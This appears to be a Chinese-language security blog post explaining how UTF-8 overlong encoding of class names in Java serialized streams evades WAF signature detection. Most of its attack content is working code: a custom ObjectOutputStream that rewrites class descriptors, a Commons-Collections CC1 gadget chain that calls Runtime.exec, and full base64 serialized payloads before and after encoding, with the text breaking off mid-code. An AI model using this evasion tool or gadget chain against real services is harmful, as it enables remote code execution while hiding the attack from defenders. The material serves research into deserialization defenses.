UTF-8 OverlongEncoding

exp3n5ive Lv1

背景

在 Java 反序列化攻击时 , 流量特征一般有以下几个 :

  1. 反序列化魔数 AC ED
  2. 反序列化的类的全限定类名等

以 CC1 链为例 , 可以看到其序列化数据中的类名是可见的 :

那我们只要能让类名不是可见字符就可以一定程度上绕过 waf 了

仅针对流量层面 , 如果目标重写了 resolveClass 的话,我们是无法用下面的办法来绕过的,因为 resolveClass 已经是在类的链接阶段了,能够看到完整的类名

分析 readObject

既然这样 , 我们肯定是需要去看看 Java 底层到底是怎么解析我们的序列化数据的

在 java.io.ObjectInputStream#readObject 下断点 , 开始调试 , 一直跟到 java.io.ObjectInputStream.BlockDataInputStream#readUTFSpan(StringBuilder sbuf, long utflen)

1
2
3
4
5
6
7
8
9
10
11
readUTFSpan:3091, ObjectInputStream$BlockDataInputStream (java.io)
readUTFBody:3062, ObjectInputStream$BlockDataInputStream (java.io)
readUTF:2874, ObjectInputStream$BlockDataInputStream (java.io)
readUTF:1073, ObjectInputStream (java.io)
readNonProxy:684, ObjectStreamClass (java.io)
readClassDescriptor:831, ObjectInputStream (java.io)
readNonProxyDesc:1602, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/**
* 读取UTF-8编码的字符串片段
* @param sbuf 用于存储解码后字符串的StringBuilder
* @param utflen 要读取的UTF-8字节长度
* @return 实际读取的字节数
* @throws IOException 如果发生I/O错误或UTF格式错误
*/
private long readUTFSpan(StringBuilder sbuf, long utflen)
throws IOException
{
// 当前字符缓冲区位置
int cpos = 0;
// 记录开始位置 , 用于后续计算读取的字节数
int start = pos;
// 计算可用字节数 , 取缓冲区剩余字节和字符缓冲区大小的较小值
int avail = Math.min(end - pos, CHAR_BUF_SIZE);
// 设置停止位置 : 如果UTF字节数大于可用字节数 , 则预留2字节空间(为可能的多字节字符预留)
// 否则直接使用UTF字节长度作为停止位置
int stop = pos + ((utflen > avail) ? avail - 2 : (int) utflen);
// 标记是否发生数组越界异常
boolean outOfBounds = false;

try {
// 循环读取UTF-8字节直到停止位置
while (pos < stop) {
int b1, b2, b3;
// 读取第一个字节并转换为无符号整数
b1 = buf[pos++] & 0xFF;

// 根据UTF-8编码格式的第一个字节的高4位判断字符长度
switch (b1 >> 4) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7: // 1字节格式: 0xxxxxxx (ASCII字符)
cbuf[cpos++] = (char) b1;
break;

case 12:
case 13: // 2字节格式: 110xxxxx 10xxxxxx
b2 = buf[pos++];
// 检查第二个字节是否以10开头(符合UTF-8格式)
if ((b2 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
// 解码 : 取第一个字节的低5位和第二个字节的低6位组合
cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
((b2 & 0x3F) << 0));
break;

case 14: // 3字节格式: 1110xxxx 10xxxxxx 10xxxxxx
// 预先读取接下来的两个字节(不移动位置指针)
b3 = buf[pos + 1];
b2 = buf[pos + 0];
pos += 2;
// 检查后续两个字节是否都以10开头
if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
// 解码 : 取第一个字节的低4位和后续两个字节的低6位组合
cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
break;

default: // 非法格式: 10xx xxxx( continuation byte), 1111 xxxx(4字节字符 , Java不支持)
throw new UTFDataFormatException();
}
}
} catch (ArrayIndexOutOfBoundsException ex) {
// 捕获数组越界异常 , 标记后到finally块中处理
outOfBounds = true;
} finally {
// 如果发生越界或者读取的字节数超过预期长度
if (outOfBounds || (pos - start) > utflen) {
/*
* 修复4450867问题 : 如果格式错误的UTF字符导致转换循环扫描超过
* 预期的UTF字符串末尾 , 只消耗预期数量的UTF字节
*/
pos = start + (int) utflen;
throw new UTFDataFormatException();
}
}

// 将解码后的字符追加到StringBuilder中
sbuf.append(cbuf, 0, cpos);
// 返回实际读取的字节数
return pos - start;
}

这里使用 UTF-8 解码来获取字符 , 我们需要了解一下 UTF-8 是怎么编码的

UTF-8 编码原理

UTF-8 是现在最流行的编码方式 , 它可以将 unicode 码表里的所有字符 , 用某种计算方式转换成长度是 1 到 4 位字节的字符

参考这个表格 , 我们就可以很轻松地将 unicode 码转换成 UTF-8 编码 :

First code point Last code point Byte 1 Byte 2 Byte 3 Byte 4
U+0000 U+007F 0xxxxxxx
U+0080 U+07FF 110xxxxx 10xxxxxx
U+0800 U+FFFF 1110xxxx 10xxxxxx 10xxxxxx
U+10000 U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

举个例子 , 欧元符号 的 unicode 编码是 U+20AC , 按照如下方法将其转换成 UTF-8 编码 :

  • 首先 , 因为 U+20AC 位于 U+0800 和 U+FFFF 之间 , 所以按照上表可知其 UTF-8 编码长度是 3
  • 0x20AC 的二进制是10 0000 1010 1100 , 将所有位数从左至右按照 4、6、6 分成三组 , 第一组长度不满 4 前面补 0 : 0010 , 000010 , 101100
  • 分别给这三组增加前缀11101010 , 结果是111000101000001010101100 , 对应的就是\xE2\x82\xAC
  • \xE2\x82\xAC即为欧元符号 的 UTF-8 编码

了解了 UTF-8 的编码过程 , 我们就可以很容易理解 Overlong Encoding 是什么问题了

Overlong Encoding 就是将 1 个字节的字符 , 按照 UTF-8 编码方式强行编码成 2 位以上 UTF-8 字符的方法 ( 由于我们可以无限制地向前面补 0 , 所以是可以做到的 )

以字符 c 为例 , 我们知道它的十六进制编码为 0x63

转换为二进制则为 1100011 , 假如我们想要用两个字节表示 , 那么就需要 11 位二进制数 , 我们在前面补 4 个 0 即可 , 即 00001100011 , 再按照表格中的编码规则 , 转化后应该为 11000001 10100011\xC1\xA3

1
2
3
4
     1100011
00001 100011
11000001 10100011
\xC1 \xA3

Overlong Encoding 实际上很早就被提出了 , 很多语言在实现 UTF-8 的转换时,会对这个攻击方式做一定检查

比如我们在 Python 下转换就会报错 :

利用脚本

我们现在已经清楚原理了 , 接下来就是要自动生成 Payload

最简单的肯定是直接进行文本替换 , 但是我们不能将所有字符都进行替换 , 因为能解析 UTF-8 OverlongEncoding 的只有我们序列化数据中类名的部分 , 如果我们直接进行无脑替换的话会替换掉别的内容 , 导致整体结构被破坏

网上很多文章都给出了另一种方案 : 自写一个类 , 继承 ObjectOutputStream , 重写其 writeClassDescriptor 方法 , 从而自定义类名这一块的序列化数据

这里直接用 lzstar 师傅的脚本 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* 参考p神:https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
* 参考1ue:https://t.zsxq.com/17LkqCzk8
* 实现:参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法
*/
public class CustomObjectOutputStream extends ObjectOutputStream {

public CustomObjectOutputStream(OutputStream out) throws IOException {
super(out);
}

private static HashMap<Character, int[]> map;
private static Map<Character,int[]> bytesMap=new HashMap<>();

static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});


bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
bytesMap.put('.', new int[]{0xe0,0x80,0xae});
bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
bytesMap.put('A', new int[]{0xe0,0x81,0x81});
bytesMap.put('B', new int[]{0xe0,0x81,0x82});
bytesMap.put('C', new int[]{0xe0,0x81,0x83});
bytesMap.put('D', new int[]{0xe0,0x81,0x84});
bytesMap.put('E', new int[]{0xe0,0x81,0x85});
bytesMap.put('F', new int[]{0xe0,0x81,0x86});
bytesMap.put('G', new int[]{0xe0,0x81,0x87});
bytesMap.put('H', new int[]{0xe0,0x81,0x88});
bytesMap.put('I', new int[]{0xe0,0x81,0x89});
bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
bytesMap.put('P', new int[]{0xe0,0x81,0x90});
bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
bytesMap.put('R', new int[]{0xe0,0x81,0x92});
bytesMap.put('S', new int[]{0xe0,0x81,0x93});
bytesMap.put('T', new int[]{0xe0,0x81,0x94});
bytesMap.put('U', new int[]{0xe0,0x81,0x95});
bytesMap.put('V', new int[]{0xe0,0x81,0x96});
bytesMap.put('W', new int[]{0xe0,0x81,0x97});
bytesMap.put('X', new int[]{0xe0,0x81,0x98});
bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
bytesMap.put('k', new int[]{0xe0,0x81,0xab});
bytesMap.put('l', new int[]{0xe0,0x81,0xac});
bytesMap.put('m', new int[]{0xe0,0x81,0xad});
bytesMap.put('n', new int[]{0xe0,0x81,0xae});
bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
bytesMap.put('z', new int[]{0xe0,0x81,0xba});

}



public void charWritTwoBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 2];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = map.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 2);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}

}
public void charWriteThreeBytes(String name){
//将name进行overlong Encoding
byte[] bytes=new byte[name.length() * 3];
int k=0;
StringBuffer str=new StringBuffer();
for (int i = 0; i < name.length(); i++) {
int[] bs = bytesMap.get(name.charAt(i));
bytes[k++]= (byte) bs[0];
bytes[k++]= (byte) bs[1];
bytes[k++]= (byte) bs[2];
str.append(Integer.toHexString(bs[0])+",");
str.append(Integer.toHexString(bs[1])+",");
str.append(Integer.toHexString(bs[2])+",");
}
System.out.println(str.toString());
try {
writeShort(name.length() * 3);
write(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}


protected void writeClassDescriptor(ObjectStreamClass desc)
throws IOException {
String name = desc.getName();
boolean externalizable = (boolean) getFieldValue(desc, "externalizable");
boolean serializable = (boolean) getFieldValue(desc, "serializable");
boolean hasWriteObjectData = (boolean) getFieldValue(desc, "hasWriteObjectData");
boolean isEnum = (boolean) getFieldValue(desc, "isEnum");
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
System.out.println(name);
//写入name(jdk原生写入方法)
// writeUTF(name);
//写入name(两个字节表示一个字符)
// charWritTwoBytes(name);
//写入name(三个字节表示一个字符)
charWriteThreeBytes(name);


writeLong(desc.getSerialVersionUID());
byte flags = 0;
if (externalizable) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField =
null;
int protocol;
try {
protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
protocol = (int) protocolField.get(this);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if (serializable) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if (hasWriteObjectData) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if (isEnum) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);

writeShort(fields.length);
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
invoke(this, "writeTypeString", f.getTypeString());
}
}
}

public static void invoke(Object object, String methodName, Object... args) {
Method writeTypeString = null;
try {
writeTypeString = ObjectOutputStream.class.getDeclaredMethod(methodName, String.class);
writeTypeString.setAccessible(true);
try {
writeTypeString.invoke(object, args);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}

public static Object getFieldValue(Object object, String fieldName) {
Class<?> clazz = object.getClass();
Field field = null;
Object value = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
value = field.get(object);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
return value;
}
}

测试

用这个脚本来测试 CC1 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com;

import com.utils.CustomObjectOutputStream;
import com.utils.SerializeUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "useless");
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = constructor.newInstance(Target.class, newMap);
// SerializeUtil.test(o);
// System.out.println(new String(SerializeUtil.serialize(o)));
ByteArrayOutputStream arr = new ByteArrayOutputStream();
try (CustomObjectOutputStream output = new CustomObjectOutputStream(arr)) {
output.writeObject(o);
}
String base64encoded = Base64.getEncoder().encodeToString(arr.toByteArray());
System.out.println(base64encoded);
}
}
//ObjectInputStream.readObject()
// AnnotationInvocationHandler.readObject()
// Map(Proxy).entrySet()
// AnnotationInvocationHandler.invoke()
// LazyMap.get()
// ChainedTransformer.transform()
// ConstantTransformer.transform()
// InvokerTransformer.transform()
// Method.invoke()
// Class.getMethod()
// InvokerTransformer.transform()
// Method.invoke()
// Runtime.getRuntime()
// InvokerTransformer.transform()
// Method.invoke()
// Runtime.exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.utils.SerializeUtil;
import java.util.Base64;

public class OverlongEncoding_CC1 {
public static void main(String[] args) throws Exception {
String before = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB9zcQB+ABZ1cQB+ABsAAAACcHB0AAZpbnZva2V1cQB+AB8AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXEAfgAbAAAAAXQABGNhbGN0AARleGVjdXEAfgAfAAAAAXEAfgAic3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXQAB3VzZWxlc3N4eHZyABtqYXZhLmxhbmcuYW5ub3RhdGlvbi5UYXJnZXQAAAAAAAAAAAAAAHhwcQB+ADU=";
String after = "rO0ABXNyAJbggbPggbXgga7ggK7ggbLggaXggabggazggaXggaPggbTggK7ggaHgga7gga7gga/ggbTggaHggbTggangga/gga7ggK7ggYHgga7gga7gga/ggbTggaHggbTggangga/gga7ggYngga7ggbbgga/ggaPggaHggbTggangga/gga7ggYjggaHgga7ggaTggazggaXggbJVyvUPFct+pQIAAkwADG1lbWJlclZhbHVlc3QAD0xqYXZhL3V0aWwvTWFwO0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc30AAAABAA1qYXZhLnV0aWwuTWFweHIAReCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp+CAruCBsuCBpeCBpuCBrOCBpeCBo+CBtOCAruCBkOCBsuCBr+CBuOCBueEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNxAH4AAHNyAH7gga/ggbLggafggK7ggaHggbDggaHggaPggajggaXggK7ggaPgga/gga3gga3gga/gga7ggbPggK7ggaPgga/ggazggazggaXggaPggbTggangga/gga7ggbPggK7gga3ggaHggbDggK7ggYzggaHggbrggbnggY3ggaHggbBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAruCBr+CBsuCBp+CAruCBoeCBsOCBoeCBo+CBqOCBpeCAruCBo+CBr+CBreCBreCBr+CBruCBs+CAruCBo+CBr+CBrOCBrOCBpeCBo+CBtOCBqeCBr+CBruCBs+CAruCBpuCBteCBruCBo+CBtOCBr+CBsuCBs+CAruCBg+CBqOCBoeCBqeCBruCBpeCBpOCBlOCBsuCBoeCBruCBs+CBpuCBr+CBsuCBreCBpeCBsjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIAh+CBm+CBjOCBr+CBsuCBp+CAruCBoeCBsOCBoeCBo+CBqOCBpeCAruCBo+CBr+CBreCBreCBr+CBruCBs+CAruCBo+CBr+CBrOCBrOCBpeCBo+CBtOCBqeCBr+CBruCBs+CAruCBlOCBsuCBoeCBruCBs+CBpuCBr+CBsuCBreCBpeCBsuCAu71WKvHYNBiZAgAAeHAAAAAEc3IAseCBr+CBsuCBp+CAruCBoeCBsOCBoeCBo+CBqOCBpeCAruCBo+CBr+CBreCBreCBr+CBruCBs+CAruCBo+CBr+CBrOCBrOCBpeCBo+CBtOCBqeCBr+CBruCBs+CAruCBpuCBteCBruCBo+CBtOCBr+CBsuCBs+CAruCBg+CBr+CBruCBs+CBtOCBoeCBruCBtOCBlOCBsuCBoeCBruCBs+CBpuCBr+CBsuCBreCBpeCBslh2kBFBArGUAgABTAAJaUNvbnN0YW50dAASTGphdmEvbGFuZy9PYmplY3Q7eHB2cgAz4IGq4IGh4IG24IGh4ICu4IGs4IGh4IGu4IGn4ICu4IGS4IG14IGu4IG04IGp4IGt4IGlAAAAAAAAAAAAAAB4cHNyAK7gga/ggbLggafggK7ggaHggbDggaHggaPggajggaXggK7ggaPgga/gga3gga3gga/gga7ggbPggK7ggaPgga/ggazggazggaXggaPggbTggangga/gga7ggbPggK7ggabggbXgga7ggaPggbTgga/ggbLggbPggK7ggYngga7ggbbgga/ggavggaXggbLggZTggbLggaHgga7ggbPggabgga/ggbLgga3ggaXggbKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyADnggZvggYzggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggY/ggaLggarggaXggaPggbTggLuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAAJZ2V0TWV0aG9kdXIANuCBm+CBjOCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp+CAruCBg+CBrOCBoeCBs+CBs+CAu6sW167LzVqZAgAAeHAAAAACdnIAMOCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp+CAruCBk+CBtOCBsuCBqeCBruCBp6DwpDh6O7NCAgAAeHB2cQB+AB9zcQB+ABZ1cQB+ABsAAAACcHB0AAZpbnZva2V1cQB+AB8AAAACdnIAMOCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp+CAruCBj+CBouCBquCBpeCBo+CBtAAAAAAAAAAAAAAAeHB2cQB+ABtzcQB+ABZ1cQB+ABsAAAABdAAEY2FsY3QABGV4ZWN1cQB+AB8AAAABcQB+ACJzcgAz4IGq4IGh4IG24IGh4ICu4IG14IG04IGp4IGs4ICu4IGI4IGh4IGz4IGo4IGN4IGh4IGwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXQAB3VzZWxlc3N4eHZyAFHggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggaHgga7gga7gga/ggbTggaHggbTggangga/gga7ggK7ggZTggaHggbLggafggaXggbQAAAAAAAAAAAAAAHhwcQB+ADU=";
byte[] decodedData = Base64.getDecoder().decode(after);
if (new String(decodedData).contains("org.apache.commons.collections.functors.InvokerTransformer")){
System.out.println("waf!");
}
else{
